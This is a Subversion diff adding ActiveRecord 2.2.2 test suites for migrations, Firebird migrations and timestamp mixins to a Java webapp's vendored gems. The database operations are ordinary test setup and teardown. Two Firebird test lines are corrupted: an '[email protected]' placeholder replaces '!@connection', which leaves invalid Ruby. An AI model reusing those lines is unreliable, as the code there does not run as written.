+      person_klass.connection.change_column_default "testings", "wealth", 100
+      person_klass.reset_column_information
+      assert_equal 100, person_klass.columns_hash["wealth"].default
+      assert_equal false, person_klass.columns_hash["wealth"].null
+
+      # rename column to see that column doesn't lose its not null and/or default definition
+      person_klass.connection.rename_column "testings", "wealth", "money"
+      person_klass.reset_column_information
+      assert_nil person_klass.columns_hash["wealth"]
+      assert_equal 100, person_klass.columns_hash["money"].default
+      assert_equal false, person_klass.columns_hash["money"].null
+
+      # change column
+      person_klass.connection.change_column "testings", "money", :integer, :null => false, :default => 1000
+      person_klass.reset_column_information
+      assert_equal 1000, person_klass.columns_hash["money"].default
+      assert_equal false, person_klass.columns_hash["money"].null
+
+      # change column, make it nullable and clear default
+      person_klass.connection.change_column "testings", "money", :integer, :null => true, :default => nil
+      person_klass.reset_column_information
+      assert_nil person_klass.columns_hash["money"].default
+      assert_equal true, person_klass.columns_hash["money"].null
+
+      # change_column_null, make it not nullable and set null values to a default value
+      person_klass.connection.execute('UPDATE testings SET money = NULL')
+      person_klass.connection.change_column_null "testings", "money", false, 2000
+      person_klass.reset_column_information
+      assert_nil person_klass.columns_hash["money"].default
+      assert_equal false, person_klass.columns_hash["money"].null
+      assert_equal [2000], Person.connection.select_values("SELECT money FROM testings").map { |s| s.to_i }.sort
+    ensure
+      Person.connection.drop_table :testings rescue nil
+    end
+
+    def test_change_column_default_to_null
+      Person.connection.change_column_default "people", "first_name", nil
+      Person.reset_column_information
+      assert_nil Person.new.first_name
+    end
+
+    def test_add_table
+      assert !Reminder.table_exists?
+
+      WeNeedReminders.up
+
+      assert Reminder.create("content" => "hello world", "remind_at" => Time.now)
+      assert_equal "hello world", Reminder.find(:first).content
+
+      WeNeedReminders.down
+      assert_raises(ActiveRecord::StatementInvalid) { Reminder.find(:first) }
+    end
+
+    def test_add_table_with_decimals
+      Person.connection.drop_table :big_numbers rescue nil
+
+      assert !BigNumber.table_exists?
+      GiveMeBigNumbers.up
+
+      assert BigNumber.create(
+        :bank_balance => 1586.43,
+        :big_bank_balance => BigDecimal("1000234000567.95"),
+        :world_population => 6000000000,
+        :my_house_population => 3,
+        :value_of_e => BigDecimal("2.7182818284590452353602875")
+      )
+
+      b = BigNumber.find(:first)
+      assert_not_nil b
+
+      assert_not_nil b.bank_balance
+      assert_not_nil b.big_bank_balance
+      assert_not_nil b.world_population
+      assert_not_nil b.my_house_population
+      assert_not_nil b.value_of_e
+
+      # TODO: set world_population >= 2**62 to cover 64-bit platforms and test
+      # is_a?(Bignum)
+      assert_kind_of Integer, b.world_population
+      assert_equal 6000000000, b.world_population
+      assert_kind_of Fixnum, b.my_house_population
+      assert_equal 3, b.my_house_population
+      assert_kind_of BigDecimal, b.bank_balance
+      assert_equal BigDecimal("1586.43"), b.bank_balance
+      assert_kind_of BigDecimal, b.big_bank_balance
+      assert_equal BigDecimal("1000234000567.95"), b.big_bank_balance
+
+      # This one is fun. The 'value_of_e' field is defined as 'DECIMAL' with
+      # precision/scale explicitly left out.  By the SQL standard, numbers
+      # assigned to this field should be truncated but that's seldom respected.
+      if current_adapter?(:PostgreSQLAdapter, :SQLite2Adapter)
+        # - PostgreSQL changes the SQL spec on columns declared simply as
+        # "decimal" to something more useful: instead of being given a scale
+        # of 0, they take on the compile-time limit for precision and scale,
+        # so the following should succeed unless you have used really wacky
+        # compilation options
+        # - SQLite2 has the default behavior of preserving all data sent in,
+        # so this happens there too
+        assert_kind_of BigDecimal, b.value_of_e
+        assert_equal BigDecimal("2.7182818284590452353602875"), b.value_of_e
+      elsif current_adapter?(:SQLiteAdapter)
+        # - SQLite3 stores a float, in violation of SQL
+        assert_kind_of BigDecimal, b.value_of_e
+        assert_equal BigDecimal("2.71828182845905"), b.value_of_e
+      else
+        # - SQL standard is an integer
+        assert_kind_of Fixnum, b.value_of_e
+        assert_equal 2, b.value_of_e
+      end
+
+      GiveMeBigNumbers.down
+      assert_raises(ActiveRecord::StatementInvalid) { BigNumber.find(:first) }
+    end
+
+    def test_migrator
+      assert !Person.column_methods_hash.include?(:last_name)
+      assert !Reminder.table_exists?
+
+      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid")
+
+      assert_equal 3, ActiveRecord::Migrator.current_version
+      Person.reset_column_information
+      assert Person.column_methods_hash.include?(:last_name)
+      assert Reminder.create("content" => "hello world", "remind_at" => Time.now)
+      assert_equal "hello world", Reminder.find(:first).content
+
+      ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid")
+
+      assert_equal 0, ActiveRecord::Migrator.current_version
+      Person.reset_column_information
+      assert !Person.column_methods_hash.include?(:last_name)
+      assert_raises(ActiveRecord::StatementInvalid) { Reminder.find(:first) }
+    end
+
+    def test_migrator_one_up
+      assert !Person.column_methods_hash.include?(:last_name)
+      assert !Reminder.table_exists?
+
+      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", 1)
+
+      Person.reset_column_information
+      assert Person.column_methods_hash.include?(:last_name)
+      assert !Reminder.table_exists?
+
+      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", 2)
+
+      assert Reminder.create("content" => "hello world", "remind_at" => Time.now)
+      assert_equal "hello world", Reminder.find(:first).content
+    end
+
+    def test_migrator_one_down
+      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid")
+    
+      ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid", 1)
+    
+      Person.reset_column_information
+      assert Person.column_methods_hash.include?(:last_name)
+      assert !Reminder.table_exists?
+    end
+
+    def test_migrator_one_up_one_down
+      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", 1)
+      ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid", 0)
+
+      assert !Person.column_methods_hash.include?(:last_name)
+      assert !Reminder.table_exists?
+    end
+
+    def test_migrator_double_up
+      assert_equal(0, ActiveRecord::Migrator.current_version)
+      ActiveRecord::Migrator.run(:up, MIGRATIONS_ROOT + "/valid", 1)
+      assert_nothing_raised { ActiveRecord::Migrator.run(:up, MIGRATIONS_ROOT + "/valid", 1) }
+      assert_equal(1, ActiveRecord::Migrator.current_version)
+    end
+
+    def test_migrator_double_down
+      assert_equal(0, ActiveRecord::Migrator.current_version)
+      ActiveRecord::Migrator.run(:up, MIGRATIONS_ROOT + "/valid", 1)
+      ActiveRecord::Migrator.run(:down, MIGRATIONS_ROOT + "/valid", 1)
+      assert_nothing_raised { ActiveRecord::Migrator.run(:down, MIGRATIONS_ROOT + "/valid", 1) }
+      assert_equal(0, ActiveRecord::Migrator.current_version)
+    end
+
+    if current_adapter?(:PostgreSQLAdapter)
+      def test_migrator_one_up_with_exception_and_rollback
+        assert !Person.column_methods_hash.include?(:last_name)
+
+        e = assert_raises(StandardError) do
+          ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/broken", 100)
+        end
+
+        assert_equal "An error has occurred, this and all later migrations canceled:\n\nSomething broke", e.message
+
+        Person.reset_column_information
+        assert !Person.column_methods_hash.include?(:last_name)
+      end
+    end
+
+    def test_finds_migrations
+      migrations = ActiveRecord::Migrator.new(:up, MIGRATIONS_ROOT + "/valid").migrations
+      [['1', 'people_have_last_names'],
+       ['2', 'we_need_reminders'],
+       ['3', 'innocent_jointable']].each_with_index do |pair, i|
+        migrations[i].version == pair.first
+        migrations[1].name    == pair.last
+      end
+    end
+
+    def test_finds_pending_migrations
+      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/interleaved/pass_2", 1)
+      migrations = ActiveRecord::Migrator.new(:up, MIGRATIONS_ROOT + "/interleaved/pass_2").pending_migrations
+      assert_equal 1, migrations.size
+      migrations[0].version == '3'
+      migrations[0].name    == 'innocent_jointable'
+    end
+
+    def test_only_loads_pending_migrations
+      # migrate up to 1
+      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", 1)
+
+      # now unload the migrations that have been defined
+      PeopleHaveLastNames.unloadable
+      ActiveSupport::Dependencies.remove_unloadable_constants!
+
+      ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/valid", nil)
+
+      assert !defined? PeopleHaveLastNames
+
+      %w(WeNeedReminders, InnocentJointable).each do |migration|
+        assert defined? migration
+      end
+
+    ensure
+      load(MIGRATIONS_ROOT + "/valid/1_people_have_last_names.rb")
+    end
+
+    def test_migrator_interleaved_migrations
+      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/interleaved/pass_1")
+
+      assert_nothing_raised do
+        ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/interleaved/pass_2")
+      end
+
+      Person.reset_column_information
+      assert Person.column_methods_hash.include?(:last_name)
+
+      assert_nothing_raised do
+        ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/interleaved/pass_3")
+      end
+    end
+
+    def test_migrator_db_has_no_schema_migrations_table
+      ActiveRecord::Base.connection.execute("DROP TABLE schema_migrations;")
+      assert_nothing_raised do
+        ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/valid", 1)
+      end
+    end
+
+    def test_migrator_verbosity
+      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", 1)
+      assert PeopleHaveLastNames.message_count > 0
+      PeopleHaveLastNames.message_count = 0
+
+      ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid", 0)
+      assert PeopleHaveLastNames.message_count > 0
+      PeopleHaveLastNames.message_count = 0
+    end
+
+    def test_migrator_verbosity_off
+      PeopleHaveLastNames.verbose = false
+      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", 1)
+      assert PeopleHaveLastNames.message_count.zero?
+      ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid", 0)
+      assert PeopleHaveLastNames.message_count.zero?
+    end
+
+    def test_migrator_going_down_due_to_version_target
+      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", 1)
+      ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/valid", 0)
+
+      assert !Person.column_methods_hash.include?(:last_name)
+      assert !Reminder.table_exists?
+
+      ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/valid")
+
+      Person.reset_column_information
+      assert Person.column_methods_hash.include?(:last_name)
+      assert Reminder.create("content" => "hello world", "remind_at" => Time.now)
+      assert_equal "hello world", Reminder.find(:first).content
+    end
+    
+    def test_migrator_rollback
+      ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/valid")
+      assert_equal(3, ActiveRecord::Migrator.current_version)
+      
+      ActiveRecord::Migrator.rollback(MIGRATIONS_ROOT + "/valid")
+      assert_equal(2, ActiveRecord::Migrator.current_version)
+      
+      ActiveRecord::Migrator.rollback(MIGRATIONS_ROOT + "/valid")
+      assert_equal(1, ActiveRecord::Migrator.current_version)
+      
+      ActiveRecord::Migrator.rollback(MIGRATIONS_ROOT + "/valid")
+      assert_equal(0, ActiveRecord::Migrator.current_version)
+      
+      ActiveRecord::Migrator.rollback(MIGRATIONS_ROOT + "/valid")
+      assert_equal(0, ActiveRecord::Migrator.current_version)
+    end
+
+    def test_schema_migrations_table_name
+      ActiveRecord::Base.table_name_prefix = "prefix_"
+      ActiveRecord::Base.table_name_suffix = "_suffix"
+      Reminder.reset_table_name
+      assert_equal "prefix_schema_migrations_suffix", ActiveRecord::Migrator.schema_migrations_table_name
+      ActiveRecord::Base.table_name_prefix = ""
+      ActiveRecord::Base.table_name_suffix = ""
+      Reminder.reset_table_name
+      assert_equal "schema_migrations", ActiveRecord::Migrator.schema_migrations_table_name
+    ensure
+      ActiveRecord::Base.table_name_prefix = ""
+      ActiveRecord::Base.table_name_suffix = ""
+    end
+
+    def test_proper_table_name
+      assert_equal "table", ActiveRecord::Migrator.proper_table_name('table')
+      assert_equal "table", ActiveRecord::Migrator.proper_table_name(:table)
+      assert_equal "reminders", ActiveRecord::Migrator.proper_table_name(Reminder)
+      Reminder.reset_table_name
+      assert_equal Reminder.table_name, ActiveRecord::Migrator.proper_table_name(Reminder)
+
+      # Use the model's own prefix/suffix if a model is given
+      ActiveRecord::Base.table_name_prefix = "ARprefix_"
+      ActiveRecord::Base.table_name_suffix = "_ARsuffix"
+      Reminder.table_name_prefix = 'prefix_'
+      Reminder.table_name_suffix = '_suffix'
+      Reminder.reset_table_name
+      assert_equal "prefix_reminders_suffix", ActiveRecord::Migrator.proper_table_name(Reminder)
+      Reminder.table_name_prefix = ''
+      Reminder.table_name_suffix = ''
+      Reminder.reset_table_name
+
+      # Use AR::Base's prefix/suffix if string or symbol is given
+      ActiveRecord::Base.table_name_prefix = "prefix_"
+      ActiveRecord::Base.table_name_suffix = "_suffix"
+      Reminder.reset_table_name
+      assert_equal "prefix_table_suffix", ActiveRecord::Migrator.proper_table_name('table')
+      assert_equal "prefix_table_suffix", ActiveRecord::Migrator.proper_table_name(:table)
+      ActiveRecord::Base.table_name_prefix = ""
+      ActiveRecord::Base.table_name_suffix = ""
+      Reminder.reset_table_name
+    end
+
+    def test_add_drop_table_with_prefix_and_suffix
+      assert !Reminder.table_exists?
+      ActiveRecord::Base.table_name_prefix = 'prefix_'
+      ActiveRecord::Base.table_name_suffix = '_suffix'
+      Reminder.reset_table_name
+      Reminder.reset_sequence_name
+      WeNeedReminders.up
+      assert Reminder.create("content" => "hello world", "remind_at" => Time.now)
+      assert_equal "hello world", Reminder.find(:first).content
+
+      WeNeedReminders.down
+      assert_raises(ActiveRecord::StatementInvalid) { Reminder.find(:first) }
+    ensure
+      ActiveRecord::Base.table_name_prefix = ''
+      ActiveRecord::Base.table_name_suffix = ''
+      Reminder.reset_table_name
+      Reminder.reset_sequence_name
+    end
+
+    def test_create_table_with_binary_column
+      Person.connection.drop_table :binary_testings rescue nil
+
+      assert_nothing_raised {
+        Person.connection.create_table :binary_testings do |t|
+          t.column "data", :binary, :null => false
+        end
+      }
+
+      columns = Person.connection.columns(:binary_testings)
+      data_column = columns.detect { |c| c.name == "data" }
+
+      if current_adapter?(:MysqlAdapter)
+        assert_equal '', data_column.default
+      else
+        assert_nil data_column.default
+      end
+
+      Person.connection.drop_table :binary_testings rescue nil
+    end
+
+    def test_migrator_with_duplicates
+      assert_raises(ActiveRecord::DuplicateMigrationVersionError) do
+        ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/duplicate", nil)
+      end
+    end
+
+    def test_migrator_with_duplicate_names
+      assert_raises(ActiveRecord::DuplicateMigrationNameError, "Multiple migrations have the name Chunky") do
+        ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/duplicate_names", nil)
+      end
+    end
+
+    def test_migrator_with_missing_version_numbers
+      assert_raise(ActiveRecord::UnknownMigrationVersionError) do
+        ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/missing", 500)
+      end
+    end
+
+    def test_create_table_with_custom_sequence_name
+      return unless current_adapter? :OracleAdapter
+
+      # table name is 29 chars, the standard sequence name will
+      # be 33 chars and fail
+      assert_raises(ActiveRecord::StatementInvalid) do
+        begin
+          Person.connection.create_table :table_with_name_thats_just_ok do |t|
+            t.column :foo, :string, :null => false
+          end
+        ensure
+          Person.connection.drop_table :table_with_name_thats_just_ok rescue nil
+        end
+      end
+
+      # should be all good w/ a custom sequence name
+      assert_nothing_raised do
+        begin
+          Person.connection.create_table :table_with_name_thats_just_ok,
+                                         :sequence_name => 'suitably_short_seq' do |t|
+            t.column :foo, :string, :null => false
+          end
+
+          Person.connection.execute("select suitably_short_seq.nextval from dual")
+
+        ensure
+          Person.connection.drop_table :table_with_name_thats_just_ok,
+                                       :sequence_name => 'suitably_short_seq' rescue nil
+        end
+      end
+
+      # confirm the custom sequence got dropped
+      assert_raises(ActiveRecord::StatementInvalid) do
+        Person.connection.execute("select suitably_short_seq.nextval from dual")
+      end
+    end
+
+    protected
+      def with_env_tz(new_tz = 'US/Eastern')
+        old_tz, ENV['TZ'] = ENV['TZ'], new_tz
+        yield
+      ensure
+        old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+      end
+
+  end
+  
+  uses_mocha 'Sexy migration tests' do
+    class SexyMigrationsTest < ActiveRecord::TestCase
+      def test_references_column_type_adds_id
+        with_new_table do |t|
+          t.expects(:column).with('customer_id', :integer, {})
+          t.references :customer
+        end
+      end
+
+      def test_references_column_type_with_polymorphic_adds_type
+        with_new_table do |t|
+          t.expects(:column).with('taggable_type', :string, {})
+          t.expects(:column).with('taggable_id', :integer, {})
+          t.references :taggable, :polymorphic => true
+        end
+      end
+
+      def test_references_column_type_with_polymorphic_and_options_null_is_false_adds_table_flag
+        with_new_table do |t|
+          t.expects(:column).with('taggable_type', :string, {:null => false})
+          t.expects(:column).with('taggable_id', :integer, {:null => false})
+          t.references :taggable, :polymorphic => true, :null => false
+        end
+      end
+
+      def test_belongs_to_works_like_references
+        with_new_table do |t|
+          t.expects(:column).with('customer_id', :integer, {})
+          t.belongs_to :customer
+        end
+      end
+
+      def test_timestamps_creates_updated_at_and_created_at
+        with_new_table do |t|
+          t.expects(:column).with(:created_at, :datetime, kind_of(Hash))
+          t.expects(:column).with(:updated_at, :datetime, kind_of(Hash))
+          t.timestamps
+        end
+      end
+
+      def test_integer_creates_integer_column
+        with_new_table do |t|
+          t.expects(:column).with(:foo, 'integer', {})
+          t.expects(:column).with(:bar, 'integer', {})
+          t.integer :foo, :bar
+        end
+      end
+
+      def test_string_creates_string_column
+        with_new_table do |t|
+          t.expects(:column).with(:foo, 'string', {})
+          t.expects(:column).with(:bar, 'string', {})
+          t.string :foo, :bar
+        end
+      end
+
+      protected
+      def with_new_table
+        Person.connection.create_table :delete_me, :force => true do |t|
+          yield t
+        end
+      ensure
+        Person.connection.drop_table :delete_me rescue nil
+      end
+
+    end # SexyMigrationsTest
+  end # uses_mocha
+
+  uses_mocha 'ChangeTable migration tests' do
+    class ChangeTableMigrationsTest < ActiveRecord::TestCase
+      def setup
+        @connection = Person.connection
+        @connection.create_table :delete_me, :force => true do |t|
+        end
+      end
+
+      def teardown
+        Person.connection.drop_table :delete_me rescue nil
+      end
+
+      def test_references_column_type_adds_id
+        with_change_table do |t|
+          @connection.expects(:add_column).with(:delete_me, 'customer_id', :integer, {})
+          t.references :customer
+        end
+      end
+
+      def test_remove_references_column_type_removes_id
+        with_change_table do |t|
+          @connection.expects(:remove_column).with(:delete_me, 'customer_id')
+          t.remove_references :customer
+        end
+      end
+
+      def test_add_belongs_to_works_like_add_references
+        with_change_table do |t|
+          @connection.expects(:add_column).with(:delete_me, 'customer_id', :integer, {})
+          t.belongs_to :customer
+        end
+      end
+
+      def test_remove_belongs_to_works_like_remove_references
+        with_change_table do |t|
+          @connection.expects(:remove_column).with(:delete_me, 'customer_id')
+          t.remove_belongs_to :customer
+        end
+      end
+
+      def test_references_column_type_with_polymorphic_adds_type
+        with_change_table do |t|
+          @connection.expects(:add_column).with(:delete_me, 'taggable_type', :string, {})
+          @connection.expects(:add_column).with(:delete_me, 'taggable_id', :integer, {})
+          t.references :taggable, :polymorphic => true
+        end
+      end
+
+      def test_remove_references_column_type_with_polymorphic_removes_type
+        with_change_table do |t|
+          @connection.expects(:remove_column).with(:delete_me, 'taggable_type')
+          @connection.expects(:remove_column).with(:delete_me, 'taggable_id')
+          t.remove_references :taggable, :polymorphic => true
+        end
+      end
+
+      def test_references_column_type_with_polymorphic_and_options_null_is_false_adds_table_flag
+        with_change_table do |t|
+          @connection.expects(:add_column).with(:delete_me, 'taggable_type', :string, {:null => false})
+          @connection.expects(:add_column).with(:delete_me, 'taggable_id', :integer, {:null => false})
+          t.references :taggable, :polymorphic => true, :null => false
+        end
+      end
+
+      def test_remove_references_column_type_with_polymorphic_and_options_null_is_false_removes_table_flag
+        with_change_table do |t|
+          @connection.expects(:remove_column).with(:delete_me, 'taggable_type')
+          @connection.expects(:remove_column).with(:delete_me, 'taggable_id')
+          t.remove_references :taggable, :polymorphic => true, :null => false
+        end
+      end
+
+      def test_timestamps_creates_updated_at_and_created_at
+        with_change_table do |t|
+          @connection.expects(:add_timestamps).with(:delete_me)
+          t.timestamps
+        end
+      end
+
+      def test_remove_timestamps_creates_updated_at_and_created_at
+        with_change_table do |t|
+          @connection.expects(:remove_timestamps).with(:delete_me)
+          t.remove_timestamps
+        end
+      end
+
+      def string_column
+        if current_adapter?(:PostgreSQLAdapter)
+          "character varying(255)"
+        else
+          'varchar(255)'
+        end
+      end
+
+      def integer_column
+        if current_adapter?(:MysqlAdapter)
+          'int(11)'
+        else
+          'integer'
+        end
+      end
+
+      def test_integer_creates_integer_column
+        with_change_table do |t|
+          @connection.expects(:add_column).with(:delete_me, :foo, integer_column, {})
+          @connection.expects(:add_column).with(:delete_me, :bar, integer_column, {})
+          t.integer :foo, :bar
+        end
+      end
+
+      def test_string_creates_string_column
+        with_change_table do |t|
+          @connection.expects(:add_column).with(:delete_me, :foo, string_column, {})
+          @connection.expects(:add_column).with(:delete_me, :bar, string_column, {})
+          t.string :foo, :bar
+        end
+      end
+
+      def test_column_creates_column
+        with_change_table do |t|
+          @connection.expects(:add_column).with(:delete_me, :bar, :integer, {})
+          t.column :bar, :integer
+        end
+      end
+
+      def test_column_creates_column_with_options
+        with_change_table do |t|
+          @connection.expects(:add_column).with(:delete_me, :bar, :integer, {:null => false})
+          t.column :bar, :integer, :null => false
+        end
+      end
+
+      def test_index_creates_index
+        with_change_table do |t|
+          @connection.expects(:add_index).with(:delete_me, :bar, {})
+          t.index :bar
+        end
+      end
+
+      def test_index_creates_index_with_options
+        with_change_table do |t|
+          @connection.expects(:add_index).with(:delete_me, :bar, {:unique => true})
+          t.index :bar, :unique => true
+        end
+      end
+
+      def test_change_changes_column
+        with_change_table do |t|
+          @connection.expects(:change_column).with(:delete_me, :bar, :string, {})
+          t.change :bar, :string
+        end
+      end
+
+      def test_change_changes_column_with_options
+        with_change_table do |t|
+          @connection.expects(:change_column).with(:delete_me, :bar, :string, {:null => true})
+          t.change :bar, :string, :null => true
+        end
+      end
+
+      def test_change_default_changes_column
+        with_change_table do |t|
+          @connection.expects(:change_column_default).with(:delete_me, :bar, :string)
+          t.change_default :bar, :string
+        end
+      end
+
+      def test_remove_drops_single_column
+        with_change_table do |t|
+          @connection.expects(:remove_column).with(:delete_me, [:bar])
+          t.remove :bar
+        end
+      end
+
+      def test_remove_drops_multiple_columns
+        with_change_table do |t|
+          @connection.expects(:remove_column).with(:delete_me, [:bar, :baz])
+          t.remove :bar, :baz
+        end
+      end
+
+      def test_remove_index_removes_index_with_options
+        with_change_table do |t|
+          @connection.expects(:remove_index).with(:delete_me, {:unique => true})
+          t.remove_index :unique => true
+        end
+      end
+
+      def test_rename_renames_column
+        with_change_table do |t|
+          @connection.expects(:rename_column).with(:delete_me, :bar, :baz)
+          t.rename :bar, :baz
+        end
+      end
+
+      protected
+      def with_change_table
+        Person.connection.change_table :delete_me do |t|
+          yield t
+        end
+      end
+
+    end # ChangeTable test
+  end # uses_mocha
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/migration_test_firebird.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/migration_test_firebird.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/migration_test_firebird.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,124 @@
+require "cases/helper"
+require 'models/course'
+
+class FirebirdMigrationTest < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  def setup
+    # using Course connection for tests -- need a db that doesn't already have a BOOLEAN domain
+    @connection = Course.connection
+    @fireruby_connection = @connection.instance_variable_get(:@connection)
+  end
+
+  def teardown
+    @connection.drop_table :foo rescue nil
+    @connection.execute("DROP DOMAIN D_BOOLEAN") rescue nil
+  end
+
+  def test_create_table_with_custom_sequence_name
+    assert_nothing_raised do
+      @connection.create_table(:foo, :sequence => 'foo_custom_seq') do |f|
+        f.column :bar, :string
+      end
+    end
+    assert !sequence_exists?('foo_seq')
+    assert sequence_exists?('foo_custom_seq')
+
+    assert_nothing_raised { @connection.drop_table(:foo, :sequence => 'foo_custom_seq') }
+    assert !sequence_exists?('foo_custom_seq')
+  ensure
+    FireRuby::Generator.new('foo_custom_seq', @fireruby_connection).drop rescue nil
+  end
+
+  def test_create_table_without_sequence
+    assert_nothing_raised do
+      @connection.create_table(:foo, :sequence => false) do |f|
+        f.column :bar, :string
+      end
+    end
+    assert !sequence_exists?('foo_seq')
+    assert_nothing_raised { @connection.drop_table :foo }
+
+    assert_nothing_raised do
+      @connection.create_table(:foo, :id => false) do |f|
+        f.column :bar, :string
+      end
+    end
+    assert !sequence_exists?('foo_seq')
+    assert_nothing_raised { @connection.drop_table :foo }
+  end
+
+  def test_create_table_with_boolean_column
+    assert !boolean_domain_exists?
+    assert_nothing_raised do
+      @connection.create_table :foo do |f|
+        f.column :bar, :string
+        f.column :baz, :boolean
+      end
+    end
+    assert boolean_domain_exists?
+  end
+
+  def test_add_boolean_column
+    assert !boolean_domain_exists?
+    @connection.create_table :foo do |f|
+      f.column :bar, :string
+    end
+
+    assert_nothing_raised { @connection.add_column :foo, :baz, :boolean }
+    assert boolean_domain_exists?
+    assert_equal :boolean, @connection.columns(:foo).find { |c| c.name == "baz" }.type
+  end
+
+  def test_change_column_to_boolean
+    assert !boolean_domain_exists?
+    # Manually create table with a SMALLINT column, which can be changed to a BOOLEAN
+    @connection.execute "CREATE TABLE foo (bar SMALLINT)"
+    assert_equal :integer, @connection.columns(:foo).find { |c| c.name == "bar" }.type
+
+    assert_nothing_raised { @connection.change_column :foo, :bar, :boolean }
+    assert boolean_domain_exists?
+    assert_equal :boolean, @connection.columns(:foo).find { |c| c.name == "bar" }.type
+  end
+
+  def test_rename_table_with_data_and_index
+    @connection.create_table :foo do |f|
+      f.column :baz, :string, :limit => 50
+    end
+    100.times { |i| @connection.execute "INSERT INTO foo VALUES (GEN_ID(foo_seq, 1), 'record #{i+1}')" }
+    @connection.add_index :foo, :baz
+
+    assert_nothing_raised { @connection.rename_table :foo, :bar }
+    assert [email protected]?("foo")
+    assert @connection.tables.include?("bar")
+    assert_equal "index_bar_on_baz", @connection.indexes("bar").first.name
+    assert_equal 100, FireRuby::Generator.new("bar_seq", @fireruby_connection).last
+    assert_equal 100, @connection.select_one("SELECT COUNT(*) FROM bar")["count"]
+  ensure
+    @connection.drop_table :bar rescue nil
+  end
+
+  def test_renaming_table_with_fk_constraint_raises_error
+    @connection.create_table :parent do |p|
+      p.column :name, :string
+    end
+    @connection.create_table :child do |c|
+      c.column :parent_id, :integer
+    end
+    @connection.execute "ALTER TABLE child ADD CONSTRAINT fk_child_parent FOREIGN KEY(parent_id) REFERENCES parent(id)"
+    assert_raise(ActiveRecord::ActiveRecordError) { @connection.rename_table :child, :descendant }
+  ensure
+    @connection.drop_table :child rescue nil
+    @connection.drop_table :descendant rescue nil
+    @connection.drop_table :parent rescue nil
+  end
+
+  private
+    def boolean_domain_exists?
+      [email protected]_one("SELECT 1 FROM rdb$fields WHERE rdb$field_name = 'D_BOOLEAN'").nil?
+    end
+
+    def sequence_exists?(sequence_name)
+      FireRuby::Generator.exists?(sequence_name, @fireruby_connection)
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/mixin_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/mixin_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/mixin_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,96 @@
+require "cases/helper"
+
+class Mixin < ActiveRecord::Base
+end
+
+# Let us control what Time.now returns for the TouchTest suite
+class Time
+  @@forced_now_time = nil
+  cattr_accessor :forced_now_time
+
+  class << self
+    def now_with_forcing
+      if @@forced_now_time
+        @@forced_now_time
+      else
+        now_without_forcing
+      end
+    end
+    alias_method_chain :now, :forcing
+  end
+end
+
+
+class TouchTest < ActiveRecord::TestCase
+  fixtures :mixins
+
+  def setup
+    Time.forced_now_time = Time.now
+  end
+
+  def teardown
+    Time.forced_now_time = nil
+  end
+
+  def test_time_mocking
+    five_minutes_ago = 5.minutes.ago
+    Time.forced_now_time = five_minutes_ago
+    assert_equal five_minutes_ago, Time.now
+
+    Time.forced_now_time = nil
+    assert_not_equal five_minutes_ago, Time.now
+  end
+
+  def test_update
+    stamped = Mixin.new
+
+    assert_nil stamped.updated_at
+    assert_nil stamped.created_at
+    stamped.save
+    assert_equal Time.now, stamped.updated_at
+    assert_equal Time.now, stamped.created_at
+  end
+
+  def test_create
+    obj = Mixin.create
+    assert_equal Time.now, obj.updated_at
+    assert_equal Time.now, obj.created_at
+  end
+
+  def test_many_updates
+    stamped = Mixin.new
+
+    assert_nil stamped.updated_at
+    assert_nil stamped.created_at
+    stamped.save
+    assert_equal Time.now, stamped.created_at
+    assert_equal Time.now, stamped.updated_at
+
+    old_updated_at = stamped.updated_at
+
+    Time.forced_now_time = 5.minutes.from_now
+    stamped.lft_will_change!
+    stamped.save
+
+    assert_equal Time.now, stamped.updated_at
+    assert_equal old_updated_at, stamped.created_at
+  end
+
+  def test_create_turned_off
+    Mixin.record_timestamps = false
+
+    mixin = Mixin.new
+
+    assert_nil mixin.updated_at
+    mixin.save
+    assert_nil mixin.updated_at
+
+  # Make sure Mixin.record_timestamps gets reset, even if this test fails,
+  # so that other tests do not fail because Mixin.record_timestamps == false
+  rescue Exception => e
+    raise e
+  ensure
+    Mixin.record_timestamps = true
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/modules_test.rb
===================================================================
